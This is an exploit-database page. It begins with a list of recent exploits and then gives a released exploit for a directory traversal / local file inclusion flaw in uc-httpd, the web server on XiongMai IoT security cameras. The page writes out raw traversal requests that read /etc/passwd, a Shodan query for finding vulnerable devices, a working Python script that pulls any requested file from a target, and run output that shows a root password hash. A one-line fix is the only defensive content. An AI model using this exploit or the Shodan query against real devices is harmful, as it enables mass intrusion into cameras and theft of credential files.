42e94b4366
26 new exploits Microsoft MsMpEng - Remotely Exploitable Use-After-Free due to Design Issue in GC Engine Microsoft MsMpEng - Multiple Crashes While Scanning Malformed Files Microsoft MsMpEng - Use-After-Free via Saved Callers WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope WebKit - 'Element::setAttributeNodeNS' Use-After-Free reiserfstune 3.6.25 - Local Buffer Overflow TiEmu 2.08 - Local Buffer Overflow Octopus Deploy - Authenticated Code Execution (Metasploit) Samba - 'is_known_pipename()' Arbitrary Module Load (Metasploit) CERIO DT-100G-N/DT-300N/CW-300N - Multiple Vulnerabilities Linux/x86 - execve(/bin/sh_) Shellcode (19 bytes) Linux/x86 - execve(_/bin/sh_) Shellcode (21 bytes) uc-http Daemon - Local File Inclusion / Directory Traversal Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow WordPress Plugin Huge-IT Video Gallery 2.0.4 - SQL Injection TerraMaster F2-420 NAS TOS 3.0.30 - Unauthenticated Remote Code Execution as Root Piwigo Plugin Facetag 0.0.3 - SQL Injection OV3 Online Administration 3.0 - Directory Traversal OV3 Online Administration 3.0 - Remote Code Execution OV3 Online Administration 3.0 - SQL Injection Piwigo Plugin Facetag 0.0.3 - Cross-Site Scripting Riverbed SteelHead VCX 9.6.0a - Arbitrary File Read WebKit - CachedFrame does not Detach Openers Universal Cross-Site Scripting WebKit - 'CachedFrameBase::restore' Universal Cross-Site Scripting WebKit - 'Document::prepareForDestruction' and 'CachedFrame' Universal Cross-Site Scripting
96 lines
No EOL
3.9 KiB
Python
Executable file
96 lines
No EOL
3.9 KiB
Python
Executable file
'''
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______ ______ _____ ___ _____ _____ _____
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| ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _|
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| |_/ / | |_/ / | | | | | | | |__ | / \/ | |
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| __/ | / | | | | | | | __| | | | |
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| | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | |
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\_| \_| \_| \___/ \____/ \____/ \____/ \_/
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_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __
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|_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / /
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| | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V /
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| | | . ` | `--. \ | __| | | | | | | | / | | | | \ /
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_| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | |
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\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/
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[+]---------------------------------------------------------[+]
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| Vulnerable Software: uc-httpd |
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| Vendor: XiongMai Technologies |
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| Vulnerability Type: LFI, Directory Traversal |
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| Date Released: 03/04/2017 |
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| Released by: keksec |
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[+]---------------------------------------------------------[+]
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uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
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to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
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around one million vulnerable surviellence cameras.
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The following request can be made to display the contents of the 'passwd' file:
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GET ../../../../../etc/passwd HTTP/1.0
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To display a directory listing, the following request can be made:
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GET ../../../../../var/www/html/ HTTP/1.0
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The above request would output the contents of the webroot directory as if 'ls' command was executed
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The following shodan request can be used to display vulnerable systems:
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product:uc-httpd
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Here is a proof of concept (written by @sxcurity):
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-------------------------------------------------------------------------------------------------------------
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'''
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#!/usr/bin/env python
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import urllib2, httplib, sys
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httplib.HTTPConnection._http_vsn = 10
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httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'
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print "[+] uc-httpd 0day exploiter [+]"
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print "[+] usage: python " + __file__ + " http://<target_ip>"
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host = sys.argv[1]
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fd = raw_input('[+] File or Directory: ')
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print "Exploiting....."
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print '\n'
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print urllib2.urlopen(host + '/../../../../..' + fd).read()
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'''
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-------------------------------------------------------------------------------------------------------------
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Here is a live example of the exploit being ran:
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root@127:~/dongs# python pwn.py http://127.0.0.1
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[+] uc-httpd 0day exploiter [+]
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[+] usage: python pwn.py http://<target_ip>
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[+] File or Directory: /etc/passwd
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Exploiting.....
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root:absxcfbgXtb3o:0:0:root:/:/bin/sh
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root@127:~/dongs# python pwn.py http://127.0.0.1
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[+] uc-httpd 0day exploiter [+]
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[+] usage: python pwn.py http://<target_ip>
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[+] File or Directory: /proc/version
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Exploiting.....
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Linux version 3.0.8 (leixinyuan@localhost.localdomain) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016
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root@127:~/dongs#
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-------------------------------------------------------------------------------------------------------------
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How to fix: Sanitize inputs, don't run your httpd as root!
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[+]---------------------------------------------------------[+]
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| CONTACT US: |
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| |
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| IRC: irc.insecurity.zone (6667/6697) #insecurity |
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| Twitter: @insecurity |
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| Website: insecurity.zone |
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[+]---------------------------------------------------------[+]
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''' |